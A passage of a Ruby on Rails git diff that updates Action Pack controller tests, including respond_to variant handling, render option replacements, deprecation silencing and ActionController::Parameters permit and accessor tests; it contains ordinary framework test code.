"phone" } end end end @@ -209,23 +232,23 @@ class RespondToController < ActionController::Base def variant_any_any respond_to do |format| format.html do |variant| - variant.any { render text: "any" } - variant.phone { render text: "phone" } + variant.any { render body: "any" } + variant.phone { render body: "phone" } end end end def variant_inline_any respond_to do |format| - format.html.any(:tablet, :phablet){ render text: "any" } - format.html.phone { render text: "phone" } + format.html.any(:tablet, :phablet){ render body: "any" } + format.html.phone { render body: "phone" } end end def variant_inline_any_any respond_to do |format| - format.html.phone { render text: "phone" } - format.html.any { render text: "any" } + format.html.phone { render body: "phone" } + format.html.any { render body: "any" } end end @@ -238,16 +261,16 @@ class RespondToController < ActionController::Base def variant_any_with_none respond_to do |format| - format.html.any(:none, :phone){ render text: "none or phone" } + format.html.any(:none, :phone){ render body: "none or phone" } end end def format_any_variant_any respond_to do |format| - format.html { render text: "HTML" } + format.html { render body: "HTML" } format.any(:js, :xml) do |variant| - variant.phone{ render text: "phone" } - variant.any(:tablet, :phablet){ render text: "tablet" } + variant.phone{ render body: "phone" } + variant.any(:tablet, :phablet){ render body: "tablet" } end end end @@ -264,6 +287,8 @@ class RespondToController < ActionController::Base end class RespondToControllerTest < ActionController::TestCase + NO_CONTENT_WARNING = "No template found for RespondToController#variant_without_implicit_template_rendering, rendering head :no_content" + def setup super @request.host = "www.example.com" @@ -607,36 +632,87 @@ class RespondToControllerTest < ActionController::TestCase end end + def test_missing_templates + get :missing_templates, format: :json + assert_response :no_content + get :missing_templates, format: :xml + assert_response :no_content + end + def test_invalid_variant - @request.variant = :invalid - assert_raises(ActionView::MissingTemplate) do - get :variant_with_implicit_rendering + assert_raises(ActionController::UnknownFormat) do + get :variant_with_implicit_template_rendering, params: { v: :invalid } end end - def test_variant_not_set_regular_template_missing - assert_raises(ActionView::MissingTemplate) do - get :variant_with_implicit_rendering + def test_variant_not_set_regular_unknown_format + assert_raises(ActionController::UnknownFormat) do + get :variant_with_implicit_template_rendering end end - def test_variant_with_implicit_rendering - @request.variant = :mobile - get :variant_with_implicit_rendering + def test_variant_with_implicit_template_rendering + get :variant_with_implicit_template_rendering, params: { v: :mobile } assert_equal "text/html", @response.content_type assert_equal "mobile", @response.body end + def test_variant_without_implicit_rendering_from_browser + assert_raises(ActionController::UnknownFormat) do + get :variant_without_implicit_template_rendering, params: { v: :does_not_matter } + end + end + + def test_variant_variant_not_set_and_without_implicit_rendering_from_browser + assert_raises(ActionController::UnknownFormat) do + get :variant_without_implicit_template_rendering + end + end + + def test_variant_without_implicit_rendering_from_xhr + logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new + old_logger, ActionController::Base.logger = ActionController::Base.logger, logger + + get :variant_without_implicit_template_rendering, xhr: true, params: { v: :does_not_matter } + assert_response :no_content + + assert_equal 1, logger.logged(:info).select{ |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged" + ensure + ActionController::Base.logger = old_logger + end + + def test_variant_without_implicit_rendering_from_api + logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new + old_logger, ActionController::Base.logger = ActionController::Base.logger, logger + + get :variant_without_implicit_template_rendering, format: 'json', params: { v: :does_not_matter } + assert_response :no_content + + assert_equal 1, logger.logged(:info).select{ |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged" + ensure + ActionController::Base.logger = old_logger + end + + def test_variant_variant_not_set_and_without_implicit_rendering_from_xhr + logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new + old_logger, ActionController::Base.logger = ActionController::Base.logger, logger + + get :variant_without_implicit_template_rendering, xhr: true + assert_response :no_content + + assert_equal 1, logger.logged(:info).select { |s| s == NO_CONTENT_WARNING }.size, "Implicit head :no_content not logged" + ensure + ActionController::Base.logger = old_logger + end + def test_variant_with_format_and_custom_render - @request.variant = :phone - get :variant_with_format_and_custom_render + get :variant_with_format_and_custom_render, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "mobile", @response.body end def test_multiple_variants_for_format - @request.variant = :tablet - get :multiple_variants_for_format + get :multiple_variants_for_format, params: { v: :tablet } assert_equal "text/html", @response.content_type assert_equal "tablet", @response.body end @@ -648,40 +724,37 @@ class RespondToControllerTest < ActionController::TestCase end def test_variant_inline_syntax - get :variant_inline_syntax, format: :js - assert_equal "text/javascript", @response.content_type - assert_equal "js", @response.body - get :variant_inline_syntax assert_equal "text/html", @response.content_type assert_equal "none", @response.body - @request.variant = :phone - get :variant_inline_syntax + get :variant_inline_syntax, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body end + def test_variant_inline_syntax_with_format + get :variant_inline_syntax, format: :js + assert_equal "text/javascript", @response.content_type + assert_equal "js", @response.body + end + def test_variant_inline_syntax_without_block - @request.variant = :phone - get :variant_inline_syntax_without_block + get :variant_inline_syntax_without_block, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body end def test_variant_any - @request.variant = :phone - get :variant_any + get :variant_any, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body - @request.variant = :tablet - get :variant_any + get :variant_any, params: { v: :tablet } assert_equal "text/html", @response.content_type assert_equal "any", @response.body - @request.variant = :phablet - get :variant_any + get :variant_any, params: { v: :phablet } assert_equal "text/html", @response.content_type assert_equal "any", @response.body end @@ -691,54 +764,45 @@ class RespondToControllerTest < ActionController::TestCase assert_equal "text/html", @response.content_type assert_equal "any", @response.body - @request.variant = :phone - get :variant_any_any + get :variant_any_any, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body - @request.variant = :yolo - get :variant_any_any + get :variant_any_any, params: { v: :yolo } assert_equal "text/html", @response.content_type assert_equal "any", @response.body end def test_variant_inline_any - @request.variant = :phone - get :variant_any + get :variant_any, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body - @request.variant = :tablet - get :variant_inline_any + get :variant_inline_any, params: { v: :tablet } assert_equal "text/html", @response.content_type assert_equal "any", @response.body - @request.variant = :phablet - get :variant_inline_any + get :variant_inline_any, params: { v: :phablet } assert_equal "text/html", @response.content_type assert_equal "any", @response.body end def test_variant_inline_any_any - @request.variant = :phone - get :variant_inline_any_any + get :variant_inline_any_any, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body - @request.variant = :yolo - get :variant_inline_any_any + get :variant_inline_any_any, params: { v: :yolo } assert_equal "text/html", @response.content_type assert_equal "any", @response.body end def test_variant_any_implicit_render - @request.variant = :tablet - get :variant_any_implicit_render + get :variant_any_implicit_render, params: { v: :tablet } assert_equal "text/html", @response.content_type assert_equal "tablet", @response.body - @request.variant = :phablet - get :variant_any_implicit_render + get :variant_any_implicit_render, params: { v: :phablet } assert_equal "text/html", @response.content_type assert_equal "phablet", @response.body end @@ -748,36 +812,31 @@ class RespondToControllerTest < ActionController::TestCase assert_equal "text/html", @response.content_type assert_equal "none or phone", @response.body - @request.variant = :phone - get :variant_any_with_none + get :variant_any_with_none, params: { v: :phone } assert_equal "text/html", @response.content_type assert_equal "none or phone", @response.body end def test_format_any_variant_any - @request.variant = :tablet - get :format_any_variant_any, format: :js + get :format_any_variant_any, format: :js, params: { v: :tablet } assert_equal "text/javascript", @response.content_type assert_equal "tablet", @response.body end def test_variant_negotiation_inline_syntax - @request.variant = [:tablet, :phone] - get :variant_inline_syntax_without_block + get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body end def test_variant_negotiation_block_syntax - @request.variant = [:tablet, :phone] - get :variant_plus_none_for_format + get :variant_plus_none_for_format, params: { v: [:tablet, :phone] } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body end def test_variant_negotiation_without_block - @request.variant = [:tablet, :phone] - get :variant_inline_syntax_without_block + get :variant_inline_syntax_without_block, params: { v: [:tablet, :phone] } assert_equal "text/html", @response.content_type assert_equal "phone", @response.body end diff --git a/actionpack/test/controller/new_base/bare_metal_test.rb b/actionpack/test/controller/new_base/bare_metal_test.rb index 710c428dcc..ee3c498b1c 100644 --- a/actionpack/test/controller/new_base/bare_metal_test.rb +++ b/actionpack/test/controller/new_base/bare_metal_test.rb @@ -2,8 +2,6 @@ require "abstract_unit" module BareMetalTest class BareController < ActionController::Metal - include ActionController::RackDelegation - def index self.response_body = "Hello world" end @@ -28,6 +26,8 @@ module BareMetalTest test "response_body value is wrapped in an array when the value is a String" do controller = BareController.new + controller.set_request!(ActionDispatch::Request.empty) + controller.set_response!(BareController.make_response!(controller.request)) controller.index assert_equal ["Hello world"], controller.response_body end @@ -37,8 +37,22 @@ module BareMetalTest controller = BareController.new controller.set_request! ActionDispatch::Request.new(env) assert controller.request - assert controller.response - assert env['action_controller.instance'] + end + end + + class BareEmptyController < ActionController::Metal + def index + self.response_body = nil + end + end + + class BareEmptyTest < ActiveSupport::TestCase + test "response body is nil" do + controller = BareEmptyController.new + controller.set_request!(ActionDispatch::Request.empty) + controller.set_response!(BareController.make_response!(controller.request)) + controller.index + assert_equal nil, controller.response_body end end @@ -123,34 +137,40 @@ module BareMetalTest end test "head :no_content (204) does not return any content" do - content = HeadController.action(:no_content).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:no_content).call(Rack::MockRequest.env_for("/"))) assert_empty content end test "head :reset_content (205) does not return any content" do - content = HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:reset_content).call(Rack::MockRequest.env_for("/"))) assert_empty content end test "head :not_modified (304) does not return any content" do - content = HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:not_modified).call(Rack::MockRequest.env_for("/"))) assert_empty content end test "head :continue (100) does not return any content" do - content = HeadController.action(:continue).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:continue).call(Rack::MockRequest.env_for("/"))) assert_empty content end test "head :switching_protocols (101) does not return any content" do - content = HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:switching_protocols).call(Rack::MockRequest.env_for("/"))) assert_empty content end test "head :processing (102) does not return any content" do - content = HeadController.action(:processing).call(Rack::MockRequest.env_for("/")).third.first + content = body(HeadController.action(:processing).call(Rack::MockRequest.env_for("/"))) assert_empty content end + + def body(rack_response) + buf = [] + rack_response[2].each { |x| buf << x } + buf.join + end end class BareControllerTest < ActionController::TestCase diff --git a/actionpack/test/controller/new_base/base_test.rb b/actionpack/test/controller/new_base/base_test.rb index 964f22eb03..0755dafe93 100644 --- a/actionpack/test/controller/new_base/base_test.rb +++ b/actionpack/test/controller/new_base/base_test.rb @@ -6,7 +6,7 @@ module Dispatching before_action :authenticate def index - render :text => "success" + render body: "success" end def modify_response_body @@ -22,7 +22,7 @@ module Dispatching end def show_actions - render :text => "actions: #{action_methods.to_a.sort.join(', ')}" + render body: "actions: #{action_methods.to_a.sort.join(', ')}" end protected @@ -51,7 +51,7 @@ module Dispatching assert_body "success" assert_status 200 - assert_content_type "text/html; charset=utf-8" + assert_content_type "text/plain; charset=utf-8" end # :api: plugin diff --git a/actionpack/test/controller/new_base/content_negotiation_test.rb b/actionpack/test/controller/new_base/content_negotiation_test.rb index c8166280fc..c0e92b3b05 100644 --- a/actionpack/test/controller/new_base/content_negotiation_test.rb +++ b/actionpack/test/controller/new_base/content_negotiation_test.rb @@ -9,7 +9,7 @@ module ContentNegotiation )] def all - render :text => self.formats.inspect + render plain: self.formats.inspect end end diff --git a/actionpack/test/controller/new_base/content_type_test.rb b/actionpack/test/controller/new_base/content_type_test.rb index 88453988dd..0b3a26807d 100644 --- a/actionpack/test/controller/new_base/content_type_test.rb +++ b/actionpack/test/controller/new_base/content_type_test.rb @@ -3,16 +3,16 @@ require 'abstract_unit' module ContentType class BaseController < ActionController::Base def index - render :text => "Hello world!" + render body: "Hello world!" end def set_on_response_obj - response.content_type = Mime::RSS - render :text => "Hello world!" + response.content_type = Mime[:rss] + render body: "Hello world!" end def set_on_render - render :text => "Hello world!", :content_type => Mime::RSS + render body: "Hello world!", content_type: Mime[:rss] end end @@ -30,26 +30,28 @@ module ContentType class CharsetController < ActionController::Base def set_on_response_obj response.charset = "utf-16" - render :text => "Hello world!" + render body: "Hello world!" end def set_as_nil_on_response_obj response.charset = nil - render :text => "Hello world!" + render body: "Hello world!" end end class ExplicitContentTypeTest < Rack::TestCase - test "default response is HTML and UTF8" do + test "default response is text/plain and UTF8" do with_routing do |set| set.draw do - get ':controller', :action => 'index' + ActiveSupport::Deprecation.silence do + get ':controller', :action => 'index' + end end get "/content_type/base" assert_body "Hello world!" - assert_header "Content-Type", "text/html; charset=utf-8" + assert_header "Content-Type", "text/plain; charset=utf-8" end end @@ -99,14 +101,14 @@ module ContentType get "/content_type/charset/set_on_response_obj" assert_body "Hello world!" - assert_header "Content-Type", "text/html; charset=utf-16" + assert_header "Content-Type", "text/plain; charset=utf-16" end test "setting the charset of the response as nil directly on the response object" do get "/content_type/charset/set_as_nil_on_response_obj" assert_body "Hello world!" - assert_header "Content-Type", "text/html; charset=utf-8" + assert_header "Content-Type", "text/plain; charset=utf-8" end end end diff --git a/actionpack/test/controller/new_base/metal_test.rb b/actionpack/test/controller/new_base/metal_test.rb deleted file mode 100644 index 537b93387a..0000000000 --- a/actionpack/test/controller/new_base/metal_test.rb +++ /dev/null @@ -1,43 +0,0 @@ -require 'abstract_unit' - -module MetalTest - class MetalMiddleware < ActionController::Middleware - def call(env) - if env["PATH_INFO"] =~ /authed/ - app.call(env) - else - [401, headers, "Not authed!"] - end - end - end - - class Endpoint - def call(env) - [200, {}, "Hello World"] - end - end - - class TestMiddleware < ActiveSupport::TestCase - def setup - @app = Rack::Builder.new do - use MetalTest::MetalMiddleware - run MetalTest::Endpoint.new - end.to_app - end - - test "it can call the next app by using @app" do - env = Rack::MockRequest.env_for("/authed") - response = @app.call(env) - - assert_equal ["Hello World"], response[2] - end - - test "it can return a response using the normal AC::Metal techniques" do - env = Rack::MockRequest.env_for("/") - response = @app.call(env) - - assert_equal ["Not authed!"], response[2] - assert_equal 401, response[0] - end - end -end diff --git a/actionpack/test/controller/new_base/middleware_test.rb b/actionpack/test/controller/new_base/middleware_test.rb index a30e937bb3..85a1f351f0 100644 --- a/actionpack/test/controller/new_base/middleware_test.rb +++ b/actionpack/test/controller/new_base/middleware_test.rb @@ -75,7 +75,7 @@ module MiddlewareTest test "middleware that is 'use'd is called as part of the Rack application" do result = @app.call(env_for("/")) - assert_equal ["Hello World"], result[2] + assert_equal ["Hello World"], [].tap { |a| result[2].each { |x| a << x } } assert_equal "Success", result[1]["Middleware-Test"] end diff --git a/actionpack/test/controller/new_base/render_body_test.rb b/actionpack/test/controller/new_base/render_body_test.rb index f4a3db8b41..c65c245773 100644 --- a/actionpack/test/controller/new_base/render_body_test.rb +++ b/actionpack/test/controller/new_base/render_body_test.rb @@ -85,7 +85,7 @@ module RenderBody test "rendering body from an action with default options renders the body with the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_body/simple" assert_body "hello david" @@ -95,7 +95,7 @@ module RenderBody test "rendering body from an action with default options renders the body without the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_body/with_layout" diff --git a/actionpack/test/controller/new_base/render_html_test.rb b/actionpack/test/controller/new_base/render_html_test.rb index fe11501eeb..bfed136496 100644 --- a/actionpack/test/controller/new_base/render_html_test.rb +++ b/actionpack/test/controller/new_base/render_html_test.rb @@ -88,7 +88,7 @@ module RenderHtml test "rendering text from an action with default options renders the text with the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_html/simple" assert_body "hello david" @@ -98,7 +98,7 @@ module RenderHtml test "rendering text from an action with default options renders the text without the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_html/with_layout" @@ -179,7 +179,7 @@ module RenderHtml test "rendering from minimal controller returns response with text/html content type" do get "/render_html/minimal/index" - assert_content_type "text/html" + assert_content_type "text/html; charset=utf-8" end test "rendering from normal controller returns response with text/html content type" do diff --git a/actionpack/test/controller/new_base/render_plain_test.rb b/actionpack/test/controller/new_base/render_plain_test.rb index 0e36d36b50..94afe7bcfe 100644 --- a/actionpack/test/controller/new_base/render_plain_test.rb +++ b/actionpack/test/controller/new_base/render_plain_test.rb @@ -80,7 +80,7 @@ module RenderPlain test "rendering text from an action with default options renders the text with the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_plain/simple" assert_body "hello david" @@ -90,7 +90,7 @@ module RenderPlain test "rendering text from an action with default options renders the text without the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } get "/render_plain/with_layout" @@ -157,7 +157,7 @@ module RenderPlain test "rendering from minimal controller returns response with text/plain content type" do get "/render_plain/minimal/index" - assert_content_type "text/plain" + assert_content_type "text/plain; charset=utf-8" end test "rendering from normal controller returns response with text/plain content type" do diff --git a/actionpack/test/controller/new_base/render_template_test.rb b/actionpack/test/controller/new_base/render_template_test.rb index b06ce5db40..0d4c7cdb0a 100644 --- a/actionpack/test/controller/new_base/render_template_test.rb +++ b/actionpack/test/controller/new_base/render_template_test.rb @@ -177,7 +177,7 @@ module RenderTemplate class TestWithLayout < Rack::TestCase test "rendering with implicit layout" do with_routing do |set| - set.draw { get ':controller', :action => :index } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', :action => :index } } get "/render_template/with_layout" diff --git a/actionpack/test/controller/new_base/render_test.rb b/actionpack/test/controller/new_base/render_test.rb index 11a19ab783..1fb852a2c4 100644 --- a/actionpack/test/controller/new_base/render_test.rb +++ b/actionpack/test/controller/new_base/render_test.rb @@ -37,14 +37,14 @@ module Render private def secretz - render :text => "FAIL WHALE!" + render plain: "FAIL WHALE!" end end class DoubleRenderController < ActionController::Base def index - render :text => "hello" - render :text => "world" + render plain: "hello" + render plain: "world" end end @@ -57,7 +57,9 @@ module Render test "render with blank" do with_routing do |set| set.draw do - get ":controller", :action => 'index' + ActiveSupport::Deprecation.silence do + get ":controller", :action => 'index' + end end get "/render/blank_render" @@ -70,7 +72,9 @@ module Render test "rendering more than once raises an exception" do with_routing do |set| set.draw do - get ":controller", :action => 'index' + ActiveSupport::Deprecation.silence do + get ":controller", :action => 'index' + end end assert_raises(AbstractController::DoubleRenderError) do diff --git a/actionpack/test/controller/new_base/render_text_test.rb b/actionpack/test/controller/new_base/render_text_test.rb index 10bad57cd6..d4111d432c 100644 --- a/actionpack/test/controller/new_base/render_text_test.rb +++ b/actionpack/test/controller/new_base/render_text_test.rb @@ -73,16 +73,22 @@ module RenderText class RenderTextTest < Rack::TestCase test "rendering text from a minimal controller" do - get "/render_text/minimal/index" + ActiveSupport::Deprecation.silence do + get "/render_text/minimal/index" + end + assert_body "Hello World!" assert_status 200 end test "rendering text from an action with default options renders the text with the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } + + ActiveSupport::Deprecation.silence do + get "/render_text/simple" + end - get "/render_text/simple" assert_body "hello david" assert_status 200 end @@ -90,9 +96,11 @@ module RenderText test "rendering text from an action with default options renders the text without the layout" do with_routing do |set| - set.draw { get ':controller', action: 'index' } + set.draw { ActiveSupport::Deprecation.silence { get ':controller', action: 'index' } } - get "/render_text/with_layout" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout" + end assert_body "hello david" assert_status 200 @@ -100,59 +108,81 @@ module RenderText end test "rendering text, while also providing a custom status code" do - get "/render_text/with_layout/custom_code" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/custom_code" + end assert_body "hello world" assert_status 404 end test "rendering text with nil returns an empty body" do - get "/render_text/with_layout/with_nil" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_nil" + end assert_body "" assert_status 200 end test "Rendering text with nil and custom status code returns an empty body and the status" do - get "/render_text/with_layout/with_nil_and_status" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_nil_and_status" + end assert_body "" assert_status 403 end test "rendering text with false returns the string 'false'" do - get "/render_text/with_layout/with_false" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_false" + end assert_body "false" assert_status 200 end test "rendering text with layout: true" do - get "/render_text/with_layout/with_layout_true" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_layout_true" + end assert_body "hello world, I'm here!" assert_status 200 end test "rendering text with layout: 'greetings'" do - get "/render_text/with_layout/with_custom_layout" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_custom_layout" + end assert_body "hello world, I wish thee well." assert_status 200 end test "rendering text with layout: false" do - get "/render_text/with_layout/with_layout_false" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_layout_false" + end assert_body "hello world" assert_status 200 end test "rendering text with layout: nil" do - get "/render_text/with_layout/with_layout_nil" + ActiveSupport::Deprecation.silence do + get "/render_text/with_layout/with_layout_nil" + end assert_body "hello world" assert_status 200 end + + test "rendering text displays deprecation warning" do + assert_deprecated do + get "/render_text/with_layout/with_layout_nil" + end + end end end diff --git a/actionpack/test/controller/parameters/accessors_test.rb b/actionpack/test/controller/parameters/accessors_test.rb index 97875c3cbb..17c62dc3fe 100644 --- a/actionpack/test/controller/parameters/accessors_test.rb +++ b/actionpack/test/controller/parameters/accessors_test.rb @@ -4,6 +4,8 @@ require 'active_support/core_ext/hash/transform_values' class ParametersAccessorsTest < ActiveSupport::TestCase setup do + ActionController::Parameters.permit_all_parameters = false + @params = ActionController::Parameters.new( person: { age: '32', @@ -27,6 +29,12 @@ class ParametersAccessorsTest < ActiveSupport::TestCase assert_not @params[:person][:name].permitted? end + test "as_json returns the JSON representation of the parameters hash" do + assert_not @params.as_json.key? "parameters" + assert_not @params.as_json.key? "permitted" + assert @params.as_json.key? "person" + end + test "each carries permitted status" do @params.permit! @params.each { |key, value| assert(value.permitted?) if key == "person" } @@ -122,4 +130,88 @@ class ParametersAccessorsTest < ActiveSupport::TestCase assert_not @params.values_at(:person).first.permitted? assert_not @params[:person].values_at(:name).first.permitted? end + + test "equality with a hash is deprecated" do + hash1 = { foo: :bar } + params1 = ActionController::Parameters.new(hash1) + assert_deprecated("will be removed in Rails 5.1") do + assert(params1 == hash1) + end + end + + test "is equal to Parameters instance with same params" do + params1 = ActionController::Parameters.new(a: 1, b: 2) + params2 = ActionController::Parameters.new(a: 1, b: 2) + assert(params1 == params2) + end + + test "is equal to Parameters instance with same permitted params" do + params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a) + params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a) + assert(params1 == params2) + end + + test "is equal to Parameters instance with same different source params, but same permitted params" do + params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a) + params2 = ActionController::Parameters.new(a: 1, c: 3).permit(:a) + assert(params1 == params2) + assert(params2 == params1) + end + + test 'is not equal to an unpermitted Parameters instance with same params' do + params1 = ActionController::Parameters.new(a: 1).permit(:a) + params2 = ActionController::Parameters.new(a: 1) + assert(params1 != params2) + assert(params2 != params1) + end + + test "is not equal to Parameters instance with different permitted params" do + params1 = ActionController::Parameters.new(a: 1, b: 2).permit(:a, :b) + params2 = ActionController::Parameters.new(a: 1, b: 2).permit(:a) + assert(params1 != params2) + assert(params2 != params1) + end + + test "equality with simple types works" do + assert(@params != 'Hello') + assert(@params != 42) + assert(@params != false) + end + + test "inspect shows both class name, parameters and permitted flag" do + assert_equal( + '<ActionController::Parameters {"person"=>{"age"=>"32", '\ + '"name"=>{"first"=>"David", "last"=>"Heinemeier Hansson"}, ' \ + '"addresses"=>[{"city"=>"Chicago", "state"=>"Illinois"}]}} permitted: false>', + @params.inspect + ) + end + + test "inspect prints updated permitted flag in the output" do + assert_match(/permitted: false/, @params.inspect) + + @params.permit! + + assert_match(/permitted: true/, @params.inspect) + end + + if Hash.method_defined?(:dig) + test "#dig delegates the dig method to its values" do + assert_equal "David", @params.dig(:person, :name, :first) + assert_equal "Chicago", @params.dig(:person, :addresses, 0, :city) + end + + test "#dig converts hashes to parameters" do + assert_kind_of ActionController::Parameters, @params.dig(:person) + assert_kind_of ActionController::Parameters, @params.dig(:person, :addresses, 0) + assert @params.dig(:person, :addresses).all? do |value| + value.is_a?(ActionController::Parameters) + end + end + else + test "ActionController::Parameters does not respond to #dig on Ruby 2.2" do + assert_not ActionController::Parameters.method_defined?(:dig) + assert_not @params.respond_to?(:dig) + end + end end diff --git a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb index 059f310d49..c5bfb10b53 100644 --- a/actionpack/test/controller/parameters/always_permitted_parameters_test.rb +++ b/actionpack/test/controller/parameters/always_permitted_parameters_test.rb @@ -12,9 +12,9 @@ class AlwaysPermittedParametersTest < ActiveSupport::TestCase ActionController::Parameters.always_permitted_parameters = %w( controller action ) end - test "shows deprecations warning on NEVER_UNPERMITTED_PARAMS" do - assert_deprecated do - ActionController::Parameters::NEVER_UNPERMITTED_PARAMS + test "returns super on missing constant other than NEVER_UNPERMITTED_PARAMS" do + ActionController::Parameters.superclass.stub :const_missing, "super" do + assert_equal "super", ActionController::Parameters::NON_EXISTING_CONSTANT end end diff --git a/actionpack/test/controller/parameters/nested_parameters_test.rb b/actionpack/test/controller/parameters/nested_parameters_test.rb index 3b1257e8d5..7151a8567c 100644 --- a/actionpack/test/controller/parameters/nested_parameters_test.rb +++ b/actionpack/test/controller/parameters/nested_parameters_test.rb @@ -136,7 +136,7 @@ class NestedParametersTest < ActiveSupport::TestCase authors_attributes: { :'0' => { name: 'William Shakespeare', age_of_death: '52' }, :'1' => { name: 'Unattributed Assistant' }, - :'2' => { name: %w(injected names)} + :'2' => { name: %w(injected names) } } } }) diff --git a/actionpack/test/controller/parameters/parameters_permit_test.rb b/actionpack/test/controller/parameters/parameters_permit_test.rb index 2ed486516d..b75eb0e3bf 100644 --- a/actionpack/test/controller/parameters/parameters_permit_test.rb +++ b/actionpack/test/controller/parameters/parameters_permit_test.rb @@ -27,6 +27,27 @@ class ParametersPermitTest < ActiveSupport::TestCase end end + def walk_permitted params + params.each do |k,v| + case v + when ActionController::Parameters + walk_permitted v + when Array + v.each { |x| walk_permitted v } + end + end + end + + test 'iteration should not impact permit' do + hash = {"foo"=>{"bar"=>{"0"=>{"baz"=>"hello", "zot"=>"1"}}}} + params = ActionController::Parameters.new(hash) + + walk_permitted params + + sanitized = params[:foo].permit(bar: [:baz]) + assert_equal({"0"=>{"baz"=>"hello"}}, sanitized[:bar].to_unsafe_h) + end + test 'if nothing is permitted, the hash becomes empty' do params = ActionController::Parameters.new(id: '1234') permitted = params.permit @@ -194,6 +215,19 @@ class ParametersPermitTest < ActiveSupport::TestCase assert_equal "monkey", @params.fetch(:foo) { "monkey" } end + test "fetch doesnt raise ParameterMissing exception if there is a default that is nil" do + assert_equal nil, @params.fetch(:foo, nil) + assert_equal nil, @params.fetch(:foo) { nil } + end + + test 'KeyError in fetch block should not be covered up' do + params = ActionController::Parameters.new + e = assert_raises(KeyError) do + params.fetch(:missing_key) { {}.fetch(:also_missing) } + end + assert_match(/:also_missing$/, e.message) + end + test "not permitted is sticky beyond merges" do assert !@params.merge(a: "b").permitted? end @@ -243,7 +277,7 @@ class ParametersPermitTest < ActiveSupport::TestCase end test "to_h returns empty hash on unpermitted params" do - assert @params.to_h.is_a? Hash + assert @params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess assert_not @params.to_h.is_a? ActionController::Parameters assert @params.to_h.empty? end @@ -251,9 +285,8 @@ class ParametersPermitTest < ActiveSupport::TestCase test "to_h returns converted hash on permitted params" do @params.permit! - assert @params.to_h.is_a? Hash + assert @params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess assert_not @params.to_h.is_a? ActionController::Parameters - assert_equal @params.to_hash, @params.to_h end test "to_h returns converted hash when .permit_all_parameters is set" do @@ -261,7 +294,7 @@ class ParametersPermitTest < ActiveSupport::TestCase ActionController::Parameters.permit_all_parameters = true params = ActionController::Parameters.new(crab: "Senjougahara Hitagi") - assert params.to_h.is_a? Hash + assert params.to_h.is_a? ActiveSupport::HashWithIndifferentAccess assert_not @params.to_h.is_a? ActionController::Parameters assert_equal({ "crab" => "Senjougahara Hitagi" }, params.to_h) ensure @@ -282,8 +315,58 @@ class ParametersPermitTest < ActiveSupport::TestCase end test "to_unsafe_h returns unfiltered params" do - assert @params.to_h.is_a? Hash - assert_not @params.to_h.is_a? ActionController::Parameters - assert_equal @params.to_hash, @params.to_unsafe_h + assert @params.to_unsafe_h.is_a? ActiveSupport::HashWithIndifferentAccess + assert_not @params.to_unsafe_h.is_a? ActionController::Parameters + end + + test "to_unsafe_h returns unfiltered params even after accessing few keys" do + params = ActionController::Parameters.new("f"=>{"language_facet"=>["Tibetan"]}) + expected = {"f"=>{"language_facet"=>["Tibetan"]}} + + assert params['f'].is_a? ActionController::Parameters + assert_equal expected, params.to_unsafe_h + end + + test "to_h only deep dups Ruby collections" do + company = Class.new do + attr_reader :dupped + def dup; @dupped = true; end + end.new + + params = ActionController::Parameters.new(prem: { likes: %i( dancing ) }) + assert_equal({ 'prem' => { 'likes' => %i( dancing ) } }, params.permit!.to_h) + + params = ActionController::Parameters.new(companies: [ company, :acme ]) + assert_equal({ 'companies' => [ company, :acme ] }, params.permit!.to_h) + assert_not company.dupped + end + + test "to_unsafe_h only deep dups Ruby 